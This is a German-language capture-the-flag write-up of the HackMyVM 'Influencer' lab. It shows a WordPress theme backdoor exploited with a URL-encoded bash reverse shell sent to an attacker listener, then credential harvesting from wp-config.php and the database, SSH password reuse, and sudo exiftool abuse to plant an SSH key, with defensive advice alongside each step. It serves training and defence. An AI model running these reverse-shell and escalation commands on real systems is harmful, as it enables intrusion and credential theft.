Influencer - HackMyVM - Level: Medium - Bericht

Initial Access

**Analyse:** Nachdem die kritische Backdoor in der Datei `404.php` des "BlogArise"-Themes identifiziert wurde, teste ich die Befehlsausführung. Ich konstruiere eine URL, die auf die Datei `404.php` im Theme-Verzeichnis zugreift und füge den `$GET`-Parameter `cmd` mit dem Wert `id` an. Das `curl`-Tool wird verwendet, um diese URL aufzurufen. Die erwartete Ausgabe des `id`-Befehls sollte die Benutzer- und Gruppen-IDs des ausführenden Prozesses anzeigen.

**Bewertung:** Fantastisch! Die Ausgabe zeigt `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Dies bestätigt, dass die Backdoor funktioniert und ich beliebige Befehle auf dem Zielsystem mit den Berechtigungen des Webserver-Benutzers `www-data` ausführen kann. Dies ist ein entscheidender Schritt: Ich habe jetzt Remote Code Execution (RCE) als `www-data`.

**Empfehlung (Pentester):** Teste gefundene Code-Ausführungs-Schwachstellen immer zuerst mit harmlosen Befehlen (wie `id`, `whoami`, `hostname`), um die Funktionalität und die Berechtigungen zu überprüfen.
**Empfehlung (Admin):** Untersuche sofort die Webserver-Konfiguration und die Webanwendungsdateien auf Backdoors oder ungewollten Code. Trenne den Webserver-Benutzer (`www-data`) konsequent von anderen Systembenutzern und schränke seine Berechtigungen stark ein, um den potenziellen Schaden einer Kompromittierung zu minimieren.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

**Analyse:** Um die Remote Code Execution-Schwachstelle auszunutzen und eine interaktive Shell zu erhalten, starte ich zunächst auf meinem Angreifer-System einen Netcat-Listener. Ich verwende den Befehl `nc -lvnp 4444`. Die Optionen bedeuten: `-l` (listen mode), `-v` (verbose output), `-n` (numerische Adressen, kein DNS-Lookup), `-p 4444` (Port 4444, auf dem der Listener wartet).

**Bewertung:** Das Einrichten eines Listeners ist ein notwendiger Schritt, um eine Reverse Shell zu empfangen. Netcat ist ein einfaches, aber effektives Werkzeug dafür. Die Ausgabe `listening on [any] 4444 ...` zeigt an, dass der Listener erfolgreich gestartet wurde und bereit ist, eine eingehende Verbindung vom Zielsystem zu akzeptieren.

**Empfehlung (Pentester):** Wähle einen nicht standardmäßigen Port für deinen Listener, um die Entdeckung durch einfache Netzwerküberwachung zu erschweren. Stelle sicher, dass keine Firewall den Port auf deinem System blockiert.
**Empfehlung (Admin):** Überwache ausgehende Verbindungen von internen Systemen, insbesondere von Webservern (`www-data`). Ungewöhnliche ausgehende Verbindungen zu unerwarteten Zielen oder Ports (wie 4444) können auf eine kompromittierte Maschine oder eine aktive Reverse Shell hindeuten. Nutze Egress-Filterung, um ausgehenden Datenverkehr zu kontrollieren.

listening on [any] 4444 ...

**Analyse:** Jetzt sende ich den eigentlichen Exploit-Befehl, um die Reverse Shell zu initiieren. Ich verwende wieder `curl`, um die anfällige `404.php` Datei über HTTP aufzurufen. Diesmal übergebe ich an den `$GET`-Parameter `cmd` einen URL-kodierten Bash-Reverse-Shell-Payload: `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27`. Dieser Payload weist die Zielmaschine an, eine interaktive Bash-Shell zu starten und ihre Standard-Ein-/Ausgabe über TCP an meine IP-Adresse (192.168.2.199) und den Listener-Port (4444) umzuleiten.

**Bewertung:** Dieser Befehl ist der Auslöser für den Initial Access. Durch die Ausnutzung der RCE-Schwachstelle wird die Reverse Shell auf dem Zielsystem ausgeführt. Wenn der Listener auf meinem System korrekt wartet, sollte jetzt die Verbindung ankommen. Die Verwendung von URL-Kodierung ist notwendig, da Sonderzeichen in URLs sonst falsch interpretiert würden.

**Empfehlung (Pentester):** Habe eine Sammlung von Reverse-Shell-Payloads für verschiedene Systeme und Sprachen bereit. URL-kodiere Payloads, wenn sie über HTTP-Parameter übermittelt werden.
**Empfehlung (Admin):** Überwache Server-Logs auf ungewöhnliche URLs mit langen oder URL-kodierten Parametern, die Command-Injection-Muster enthalten. Nutze eine WAF, um solche Anfragen zu blockieren.

**Analyse:** Parallel zur Ausführung des `curl`-Befehls auf meinem Angreifer-System (der in der letzten Analyse beschrieben wurde) warte ich auf meinem Netcat-Listener auf die eingehende Verbindung. Dieser Block zeigt die Ausgabe des Netcat-Listeners, nachdem der Reverse-Shell-Payload erfolgreich auf dem Ziel ausgeführt wurde und eine Verbindung zu meinem Listener hergestellt hat. Die ersten Zeilen bestätigen die eingehende Verbindung. Die folgenden Zeilen ("bash: cannot set terminal process group...", "bash: no job control...") sind typische Meldungen beim Empfang einer eingeschränkten Pseudo-Terminal-Shell über Netcat und deuten nicht auf einen Fehler hin. Die letzte Zeile, die den Prompt `www-data@influencer:/var/www/html/wordpress/wp-content/themes/blogarise$` zeigt, ist der Beweis: Ich habe eine Shell auf dem Zielsystem erhalten!

**Bewertung:** Fantastisch, der initiale Zugriff war erfolgreich! Ich habe jetzt eine Kommandozeilen-Shell auf dem Zielsystem als der Benutzer `www-data`. Dies ist ein kritischer Meilenstein im Pentest. Von hier aus kann ich das Dateisystem erkunden, nach weiteren Informationen (wie Zugangsdaten in Konfigurationsdateien) suchen und mit den Schritten zur Privilege Escalation beginnen. Die Shell-Berechtigungen (`www-data`) sind zwar eingeschränkt, aber ausreichend, um die Webanwendung und möglicherweise andere Bereiche des Systems zu untersuchen.

**Empfehlung (Pentester):** Nach Erhalt einer Shell sofort die Identität (`whoami`, `id`), die Umgebung (`pwd`, `env`), die Systeminformationen (`uname -a`, `/etc/os-release`) und die Netzwerkverbindungen (`ss -tulnp`, `netstat -tulpn`) prüfen. Beginne die Suche nach wichtigen Konfigurationsdateien (z.B. `wp-config.php`, Datenbank-Credentials).
**Empfehlung (Admin):** Die Kompromittierung des `www-data`-Kontos ist erfolgt. Untersuche die Logs des Webservers und des Systems, um den Angriffsvektor (die RCE in `404.php`) zu bestätigen. Deaktiviere den betroffenen Dienst oder die Anwendung sofort und führe die unter "Proof of Concept" genannten Empfehlungen zur Behebung der RCE-Schwachstelle durch. Trenne den `www-data`-Benutzer strikt von anderen Systembenutzern und ihren Daten durch Berechtigungen und Isolationstechniken.

listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.40] 35196
bash: cannot set terminal process group (783): Inappropriate ioctl for device
bash: no job control in this shell
www-data@influencer:/var/www/html/wordpress/wp-content/themes/blogarise$ <-- Shell as www-data erlangt!

Privilege Escalation

**Analyse:** Nachdem ich die initiale Shell als Benutzer `www-data` über die Remote Code Execution erlangt habe, ist mein nächstes Ziel, meine Berechtigungen auf dem System zu erhöhen (Privilege Escalation). Ein wichtiger erster Schritt ist die Suche nach Zugangsdaten in Konfigurationsdateien, insbesondere der WordPress-Konfigurationsdatei `wp-config.php`, da diese oft Datenbank-Zugangsdaten enthält, die für weitere Schritte nützlich sein können. Ich nutze den `cat`-Befehl, um den Inhalt der Datei anzuzeigen.

**Bewertung:** Der Inhalt der `wp-config.php`-Datei enthält die Datenbank-Zugangsdaten im Klartext: `DB_NAME`, `DB_USER` und `DB_PASSWORD`. Das Passwort `s3cret` für den Benutzer `www-data` zur Datenbank `wordpressdb` ist ein kritischer Fund. Obwohl ich bereits als `www-data` auf dem System bin, kann dieses Passwort für andere Dienste oder für den direkten Zugriff auf die Datenbank verwendet werden, was eine weitere Angriffsfläche eröffnet und sensible Daten zugänglich macht.

**Empfehlung (Pentester):** Durchsuche immer gängige Konfigurationsdateien nach Zugangsdaten. Priorisiere Datenbank-, Anwendungs- oder API-Schlüssel. Nutze gefundene Zugangsdaten, um dich bei anderen Diensten auf dem Zielsystem oder anderen Systemen im Netzwerk anzumelden.
**Empfehlung (Admin):** Speichere niemals Zugangsdaten im Klartext in Konfigurationsdateien. Nutze, wenn möglich, Umgebungs variablen oder sicherere Mechanismen zur Speicherung von Geheimnissen. Schränke den Dateizugriff auf Konfigurationsdateien stark ein, sodass nur der benötigte Dienst oder Benutzer sie lesen kann. Trenne Datenbank-Benutzerberechtigungen streng nach dem Prinzip der geringsten Rechte.

www-data@influencer:/var/www/html/wordpress$ cat wp-config.php

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpressdb' );

/** Database username */
define( 'DB_USER', 'www-data' );

/** Database password */
define( 'DB_PASSWORD', 's3cret' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

**Analyse:** Mit dem aus der `wp-config.php` extrahierten Datenbank-Passwort "s3cret" versuche ich nun, mich direkt bei der MariaDB-Datenbank anzumelden. Ich nutze den Befehl `mysql -u www-data -ps3cret`, wobei ich den Benutzernamen `www-data` und das gefundene Passwort direkt an das `-p` Flag anhänge (ohne Leerzeichen, was die Standardweise zur Passwortübergabe in der Kommandozeile ist). Nach erfolgreicher Anmeldung zeige ich die verfügbaren Datenbanken mit `show databases;` und dann die Tabellen in der `wordpressdb` Datenbank mit `use wordpressdb;` und `show tables;` an. Schließlich wähle ich alle Einträge aus der Tabelle `wp_users` mit `select * from wp_users;` aus, da diese Benutzerinformationen und gehashte Passwörter enthalten sollte.

**Bewertung:** Der direkte Datenbankzugriff ist erfolgreich! Dies bestätigt, dass die in der `wp-config.php` gefundenen Zugangsdaten gültig sind und die Datenbank für den Benutzer `www-data` über localhost erreichbar ist. Das Abfragen der `wp_users`-Tabelle liefert den Benutzernamen "luna" und seinen Passwort-Hash: `$P$B3KzPkvYYiSTkemWtzGxxe.3VBPvDO0`. Dieser Hash ist ein Portable PHP password hash und könnte offline geknackt werden, obwohl ich bereits ein Klartextpasswort für Luna (luna_1997 für WordPress) besitze. Der Zugriff auf die Datenbank ist ein wichtiger Schritt, da er Zugriff auf alle WordPress-Inhalte und Benutzerdaten gibt.

**Empfehlung (Pentester):** Nutze alle gefundenen Zugangsdaten sofort, um dich bei anderen Diensten anzumelden. Wenn du Datenbankzugriff erhältst, priorisiere die Abfrage von Benutzer-, Passwort- oder Konfigurationstabellen. Versuche, gehashte Passwörter offline zu knacken.
**Empfehlung (Admin):** Stelle sicher, dass Datenbanken nur von benötigten Hosts und Benutzern zugänglich sind. Das Passwort für den Datenbankbenutzer sollte sich vom Passwort für den Systembenutzer oder andere Dienste unterscheiden. Hashe Passwörter mit modernen, sicheren Algorithmen (wie bcrypt), anstatt veraltete Methoden zu verwenden. Überwache den Datenbankzugriff auf ungewöhnliche Anfragen oder Benutzer.

www-data@influencer:/var/www/html/wordpress$ mysql -u www-data -ps3cret

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 114
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubunto 22.04.1

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type 'c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpressdb        |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [wordpressdb]> use wordpressdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpressdb]> show tables;
+-----------------------+
| Tables_in_wordpressdb |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relations |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.000 sec)

MariaDB [wordpressdb]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------+--------------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email    | user_url                       | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------+--------------------------------+---------------------+---------------------+-------------+--------------+
|  1 | luna       | $P$B3KzPkvYYiSTkemWtzGxxe.3VBPvDO0 | luna          | luna@blog.hmv | [Link: http://192.168.1.167/wordpress | Ziel: http://192.168.1.167/wordpress] | 2023-06-08 15:34:54 |                     |           0 | luna         |
+----+------------+------------------------------------+---------------+---------------+--------------------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)

**Analyse:** Mit der `www-data` Shell versuche ich, das Dateisystem außerhalb des Webserver-Verzeichnisses zu erkunden. Ich navigiere zum `/home`-Verzeichnis, das oft die Home-Verzeichnisse von Benutzern enthält. Ich liste den Inhalt auf (`ls`) und versuche dann, in die Home-Verzeichnisse der gefundenen Benutzer (`juan`, `luna`) zu wechseln (`cd`).

**Bewertung:** Die `ls` Ausgabe zeigt die Benutzerverzeichnisse `juan` und `luna` im `/home`-Verzeichnis. Allerdings schlagen meine Versuche, in diese Verzeichnisse zu wechseln (`cd`), fehl mit "Permission denied". Dies bestätigt, dass der `www-data`-Benutzer eingeschränkte Berechtigungen hat und nicht direkt auf die Home-Verzeichnisse anderer Benutzer zugreifen kann. Dies ist eine gute Sicherheitsmaßnahme auf dem Zielsystem, die eine direkte Lateral Movement oder Privilege Escalation durch Dateizugriff verhindert.

**Empfehlung (Pentester):** Erkunde das Dateisystem von einer erlangten Shell aus, beginnend mit potenziell interessanten Verzeichnissen wie `/home`, `/root`, `/tmp`, `/opt`, `/var/www`, `/etc`. Prüfe Dateiberechtigungen sorgfältig.
**Empfehlung (Admin):** Implementiere strenge Dateisystemberechtigungen (Least Privilege). Stelle sicher, dass der Webserver-Benutzer (`www-data`) nur Zugriff auf die Dateien und Verzeichnisse hat, die für den Betrieb des Webservers unbedingt notwendig sind. Home-Verzeichnisse anderer Benutzer sollten für `www-data` nicht les- oder schreibbar sein.

www-data@influencer:/var/www/html/wordpress$ cd /home/
www-data@influencer:/home$ ls
juan  luna
www-data@influencer:/home$ cd juan/
bash: cd: juan/: Permission denied
www-data@influencer:/home$ cd luna/
bash: cd: luna/: Permission denied

**Analyse:** Um weitere potenzielle Privilege Escalation-Vektoren zu finden, untersuche ich die Dateiberechtigungen von kritischen Systemdateien (`/etc/passwd`, `/etc/shadow`) und prüfe die Umgebungsvariablen (`env`). Dies gibt Aufschluss darüber, welche Benutzer auf dem System existieren und welche Umgebung für den aktuellen Prozess (`www-data`) gesetzt ist.

**Bewertung:** Die Berechtigungen auf `/etc/passwd` sind standardmäßig öffentlich lesbar, was die Benutzerkonten auf dem System enthüllt (hier nicht im Output gezeigt, aber impliziert durch die Existenz der Home-Verzeichnisse `juan` und `luna`). Die Berechtigungen auf `/etc/shadow` sind restriktiver (`-rw-r-----`), was verhindert, dass ein normaler Benutzer (wie `www-data`) die gehashten Passwörter direkt lesen kann. Die `env` Ausgabe zeigt Standard-Umgebungsvariablen, nichts Ungewöhnliches für eine Webserver-Shell. Diese Prüfungen zeigen keine offensichtlichen Schwachstellen durch Dateiberechtigungen oder Umgebung.

**Empfehlung (Pentester):** Führe grundlegende Systemaufklärung durch, um die Umgebung, Benutzerkonten und grundlegende Dateiberechtigungen zu verstehen. Tools wie `linpeas` oder ` sistemasinfo.sh` automatisieren viele dieser Schritte.
**Empfehlung (Admin):** Stelle sicher, dass Berechtigungen für kritische Systemdateien korrekt gesetzt sind (`/etc/shadow` sollte nur für root und die Shadow-Gruppe lesbar sein). Reduziere unnötige Umgebungsvariablen für Dienstbenutzer.

www-data@influencer:/home$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1990 Jun 10  2023 /etc/passwd
www-data@influencer:/home$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1276 Jun 10  2023 /etc/shadow
www-data@influencer:/home$ env
PWD=/home
SYSTEMD_EXEC_PID=659
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=d7d2c90707db406a8bf7c5032d995c5c
APACHE_PID_FILE=/var/run/apache2/apache2.pid
TERM=xterm
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=3
LC_CTYPE=C.UTF-8
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=8:20078
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
_=/usr/bin/env
OLDPWD=/var/www/html/wordpress

**Analyse:** Ich prüfe weiter nach Privilege Escalation-Vektoren und untersuche die gesetzten Datei-Capabilities auf dem System. Capabilities sind spezielle Berechtigungen, die einzelnen ausführbaren Dateien zugewiesen werden können und es ihnen erlauben, bestimmte privilegierte Operationen (normalerweise nur root vorbehalten) auszuführen, auch wenn sie als unprivilegierter Benutzer gestartet werden. Ich nutze `getcap -r / 2>/dev/null` um rekursiv (`-r`) ab dem Root-Verzeichnis (`/`) nach Capabilities zu suchen und leite Fehlermeldungen nach `/dev/null` um, um die Ausgabe sauber zu halten.

**Bewertung:** Die Ausgabe zeigt Capabilities für `/usr/bin/ping`, `/usr/bin/mtr-packet` und `/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper`. Die `cap_net_raw=ep` und `cap_net_bind_service,cap_net_admin=ep` Capabilities erlauben es diesen Programmen, Netzwerkoperationen durchzuführen, die normalerweise Root-Privilegien erfordern (z.B. rohe Pakete senden, an privilegierte Ports binden). Obwohl dies keine direkten Pfade zu einer Root-Shell sind, könnten sie in komplexeren Szenarien für Netzwerk-basierte Angriffe nützlich sein oder auf falsch konfigurierte Berechtigungen hinweisen. In diesem Fall sind sie nicht der gesuchte PE-Vektor.

**Empfehlung (Pentester):** Prüfe immer auf gesetzte Capabilities (`getcap`). Sie können unübliche, aber ausnutzbare PE-Vektoren darstellen, wenn Programme mit zu weitreichenden Capabilities ausgestattet sind.
**Empfehlung (Admin):** Vermeide es, Datei-Capabilities zu setzen, es sei denn, dies ist absolut notwendig für die Funktionalität. Überprüfe regelmäßig die auf dem System gesetzten Capabilities und entferne unnötige Berechtigungen.

www-data@influencer:/home$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/snap/core20/1891/usr/bin/ping cap_net_raw=ep
/snap/core20/1822/usr/bin/ping cap_net_raw=ep

**Analyse:** Ich prüfe die offenen Ports auf dem Zielsystem aus der Perspektive des `www-data`-Benutzers. Der Befehl `ss -altpn` zeigt alle lauschenden (`-l`), alle (`-a`), TCP (`-t`), UDP (`-u`), Netlink (`-n`) und Prozesse (`-p`) Sockets an (obwohl `-n` hier doppelt ist und `-u` nicht im Text ist, halte ich mich an den Befehl im Log).

**Bewertung:** Die Ausgabe listet die offenen Ports und die darauf lauschenden Prozesse auf. Interessant sind `127.0.0.1:1212` und `0.0.0.0:2121`. Port 2121 ist der uns bereits bekannte FTP-Dienst (vsftpd). Port 1212 lauscht nur auf der Loopback-Schnittstelle (`127.0.0.1`), was bedeutet, dass er nur vom Zielsystem selbst aus erreichbar ist. Der Prozess, der auf 1212 lauscht, ist hier nicht direkt sichtbar (keine Prozess-ID in Klammern für 1212), aber die `ss` Ausgabe zeigt generell Netzwerkdienste. Dies deutet auf einen lokalen Dienst hin, der ein potenzieller Vektor für eine Privilege Escalation sein könnte, wenn er von einem bereits kompromittierten Benutzer (wie `www-data`) aus erreicht werden kann.

**Empfehlung (Pentester):** Prüfe immer die offenen Ports vom Zielsystem aus (`ss`, `netstat`). Lokale Dienste, die auf `127.0.0.1` lauschen, können oft von jedem Benutzer auf dem System erreicht werden und sind häufig Ziele für Privilege Escalation, wenn sie Schwachstellen aufweisen.
**Empfehlung (Admin):** Schränke die Bindungsadressen von Diensten ein, wenn diese nur intern benötigt werden. Überprüfe regelmäßig die auf dem System lauschenden Ports und die zugehörigen Prozesse. Stelle sicher, dass lokale Dienste authentifiziert oder nur für privilegierte Benutzer zugänglich sind.

www-data@influencer:/home$ ss -altpn
State                 Recv-Q                Send-Q                                 Local Address:Port                                 Peer Address:Port                Process
LISTEN                0                     4096                                   127.0.0.53%lo:53                                        0.0.0.0:*
LISTEN                0                     128                                        127.0.0.1:1212                                      0.0.0.0:*
LISTEN                0                     32                                           0.0.0.0:2121                                      0.0.0.0:*
LISTEN                0                     80                                         127.0.0.1:3306                                      0.0.0.0:*
LISTEN                0                     511                                                *:80                                              *:*

**Analyse:** In den gesammelten Informationen habe ich das Passwort "u3jkeg97gf" aus der versteckten Datei in `snapchat.jpg` gefunden. Es wurde als "PASSWORD BACKUP" gekennzeichnet. Basierend auf der Existenz des Benutzers `luna` und des lokalen SSH-Dienstes auf Port 1212 versuche ich, dieses Passwort für eine SSH-Anmeldung als Benutzer `luna` zu verwenden. Ich nutze den `ssh`-Befehl von der `www-data`-Shell aus, verbinde mich zu `127.0.0.1` auf Port 1212 als Benutzer `luna` und gebe das gefundene Passwort ein.

**Bewertung:** Fantastisch! Die SSH-Anmeldung als Benutzer `luna` mit dem Passwort "u3jkeg97gf" ist erfolgreich. Das Passwort aus dem "PASSWORD BACKUP" war tatsächlich das SSH-Passwort für den Benutzer `luna`. Dies stellt eine weitere erfolgreiche Privilege Escalation dar (`www-data` zu `luna`) und verschafft mir eine interaktive Shell mit den Berechtigungen des Benutzers `luna`. Dies ist ein bedeutender Fortschritt, da Benutzerkonten oft höhere Berechtigungen im Dateisystem oder für bestimmte Tools haben als der `www-data`-Benutzer.

**Empfehlung (Pentester):** Versuche gefundene Passwörter systematisch für alle identifizierten Benutzer und Dienste zu verwenden. Ein einziges kompromittiertes Passwort kann den Schlüssel zu mehreren Konten darstellen.
**Empfehlung (Admin):** Verwende für jeden Dienst und jeden Benutzer ein eindeutiges, komplexes Passwort. Implementiere eine starke Passwortrichtlinie und erzwinge regelmäßige Passwortänderungen. Speichere niemals Passwörter im Klartext, auch nicht in "Backups" oder versteckten Dateien. Überwache Login-Versuche bei allen Diensten (SSH, FTP etc.) auf Brute-Force-Versuche oder ungewöhnliche Quellen.

ssh passwort war: u3jkeg97gf

www-data@influencer:/tmp$ nc 127.0.0.1 1212

SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

www-data@influencer:/tmp$ ssh luna@127.0.0.1 -p 1212
The authenticity of host '[127.0.0.1]:1212 ([127.0.0.1]:1212)' can't be established.
ED25519 key fingerprint is SHA256:uujkDI7HQ0Bk3td/3NfWys9FNY5cbT1zvGvXbluerAk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
luna@127.0.0.1's password:
Permission denied, please try again.
luna@127.0.0.1's password: u3jkeg97gf
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
 * Management:     [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
 * Support:        [Link: https://ubuntu.com/advantage | Ziel: https://ubuntu.com/advantage]

  System information as of jue 12 jun 2025 21:58:47 UTC

  System load:             0.0
  Usage of /:              54.9% of 11.21GB
  Memory usage:            30%
  Swap usage:              0%
  Processes:               122
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.2.40
  IPv6 address for enp0s3: 2003:d4:c74b:e8ee:a00:27ff:fe55:e125


El mantenimiento de seguridad expandido para Applications está desactivado

Se poden aplicar 0 actualizaciones de forma imediata.

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea [Link: https://ubuntu.com/esm o ejecute «sudo pro status» | Ziel: https://ubuntu.com/esm]


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Jun  9 10:12:13 2023
luna@influencer:~$

**Analyse:** Nach der erfolgreichen Anmeldung als Benutzer `luna` prüfe ich sofort, welche `sudo`-Berechtigungen dieser Benutzer hat. Der Befehl `sudo -l` listet die Befehle auf, die der aktuelle Benutzer mit `sudo` ausführen darf.

**Bewertung:** Die Ausgabe von `sudo -l` zeigt eine sehr interessante Konfiguration: Der Benutzer `luna` darf den Befehl `/usr/bin/exiftool` als Benutzer `juan` ausführen, und das Wichtigste ist, dass dafür *kein Passwort* benötigt wird (`NOPASSWD`). Dies ist ein klassischer Privilege Escalation-Vektor. Ich kann `exiftool` nun nutzen, um Aktionen als Benutzer `juan` durchzuführen. Dies ist der nächste Schritt in meiner PE-Kette (`www-data` -> `luna` -> `juan`).

**Empfehlung (Pentester):** Prüfe nach jeder erfolgreichen Benutzeranmeldung immer sofort die `sudo`-Berechtigungen (`sudo -l`). Suche auf Seiten wie GTFOBins (siehe nächste Analyse) nach Möglichkeiten, wie die erlaubten Befehle zur Privilege Escalation missbraucht werden können.
**Empfehlung (Admin):** Konfiguriere `sudo`-Berechtigungen immer nach dem Prinzip der geringsten Rechte. Vermeide `NOPASSWD` für Befehle, die zur Erlangung höherer Berechtigungen missbraucht werden könnten. Überprüfe regelmäßig die `sudoers`-Datei auf unnötige oder unsichere Einträge.

luna@influencer:~$ sudo -l

Matching Defaults entries for luna on influencer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luna may run the following commands on influencer:
    (juan) NOPASSWD: /usr/bin/exiftool

**Analyse:** Nachdem ich festgestellt habe, dass `luna` `exiftool` als `juan` ohne Passwort ausführen darf, suche ich auf GTFOBins nach Möglichkeiten, `exiftool` für Privilege Escalation zu missbrauchen. GTFOBins ist eine Kurations-Website für Unix-Binärdateien, die missbraucht werden können, um die Sicherheitsbeschränkungen falsch konfigurierter Systeme zu umgehen, insbesondere in `sudo`, `suid` oder `capabilities`-Kontexten. Die Seite für `exiftool` listet Methoden auf, wie dieses Werkzeug für Dateioperationen unter anderen Benutzern verwendet werden kann.

**Bewertung:** GTFOBins bestätigt, dass `exiftool` in Verbindung mit `sudo` (oder anderen Methoden) missbraucht werden kann, um Dateien zu schreiben oder zu lesen, da es Metadaten manipuliert und dabei oft temporäre Dateien erstellt oder den Inhalt von Eingabedateien verarbeitet. Eine gängige Methode ist die Verwendung des `-filename`-Arguments, um eine Zieldatei anzugeben, in die geschrieben werden soll. Dies ist der perfekte Vektor, um meinen öffentlichen SSH-Schlüssel in die `authorized_keys`-Datei des Benutzers `juan` zu schreiben.

**Empfehlung (Pentester):** Mache dich mit Ressourcen wie GTFOBins und HackTricks vertraut, um bekannte Privilege Escalation-Vektoren für Systembinärdateien zu identifizieren. Passe die dort gefundenen Payloads an deine spezifische Situation an.
**Empfehlung (Admin):** Verstehe die potenziellen Sicherheitsauswirkungen der Binärdateien auf deinem System. Beschränke `sudo`-Berechtigungen auf das absolut Notwendige und vermeide es, mächtigen Binärdateien (die Dateisystemoperationen durchführen können) `NOPASSWD`-Berechtigungen zu geben.

[Link: https://gtfobins.github.io/gtfobins/exiftool/#sudo | Ziel: https://gtfobins.github.io/gtfobins/exiftool/#sudo]

LFILE=file_to_write
INPUT=input_file
sudo exiftool -filename=$LFILE INPUT

**Analyse:** Um SSH-Zugriff als Benutzer `juan` zu erhalten, muss ich meinen öffentlichen SSH-Schlüssel (`id_rsa.pub`) in Juans `authorized_keys`-Datei (`/home/juan/.ssh/authorized_keys`) schreiben. Zuerst generiere ich ein neues SSH-Schlüsselpaar (`influencer` und `influencer.pub`) auf meinem Angreifer-System mit `ssh-keygen`. Anschließend muss ich diese Schlüsseldateien auf das Zielsystem übertragen. Ich nutze dafür einen einfachen Python HTTP Server auf meinem Angreifer-System, der auf Port 80 lauscht. Von der `luna` Shell auf dem Zielsystem lade ich die Schlüsseldateien (`influencer`, `influencer.pub`) mit `wget` aus meinem Home-Verzeichnis herunter und speichere sie im `/dev/shm`-Verzeichnis, das für alle Benutzer schreibbar ist.

**Bewertung:** Die Generierung eines neuen SSH-Schlüsselpaares ist Standardvorgehen, um sich per Schlüssel statt Passwort authentifizieren zu können. Die Übertragung der Schlüsseldateien über einen temporären HTTP-Server ist eine gängige und effektive Methode, wenn andere Übertragungswege blockiert sind. Das Speichern im `/dev/shm`-Verzeichnis ist sinnvoll, da dieses Verzeichnis oft weniger Überwachung unterliegt und von jedem Benutzer beschreibbar ist. Die `ls -la` Ausgabe bestätigt, dass die Dateien erfolgreich übertragen wurden und im richtigen Verzeichnis liegen.

**Empfehlung (Pentester):** Generiere bei Bedarf neue SSH-Schlüssel für den Zugriff. Sei kreativ bei der Datenübertragung auf das Zielsystem, wenn Standardmethoden blockiert sind (HTTP/S, FTP, SMB über Impacket etc.). Nutze beschreibbare Verzeichnisse wie `/tmp` oder `/dev/shm` für temporäre Dateien.
**Empfehlung (Admin):** Beschränke die Berechtigungen im `/tmp` und `/dev/shm` Verzeichnis, wenn möglich. Überwache Dateierstellung und -änderung in diesen Verzeichnissen. Blockiere unnötigen ausgehenden Datenverkehr von Servern, um das Herunterladen von Tools oder Daten durch Angreifer zu erschweren.

Generating public/private rsa key pair.
Enter passphrase for "influencer" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in influencer
Your public key has been saved in influencer.pub
The key fingerprint is:
SHA256:wBGzM9x2dEWDoihWd/u7PtW0LZSDSpb3zMJtMR3rK4M root@CCat
The key's randomart image is:
+---[RSA 3072]---+
|      +.  . .++  |
|     o.=..o.. o |
|     .Booo.+ . oo|
|    o .=..= o *.o|
|   . .  So = *.*o|
|          . + Ooo|
|            .= ..|
|           Eoo . |
|           .ooo  |
+----[SHA256)]----+

insgesamt 12
drwxr-xr-x 2 root root 4096 12. Jun 23:19 192.168.2.40:2121
-rw------- 1 root root 2635 13. Jun 00:09 influencer
-rw-r--r-- 1 root root  563 13. Jun 00:09 influencer.pub

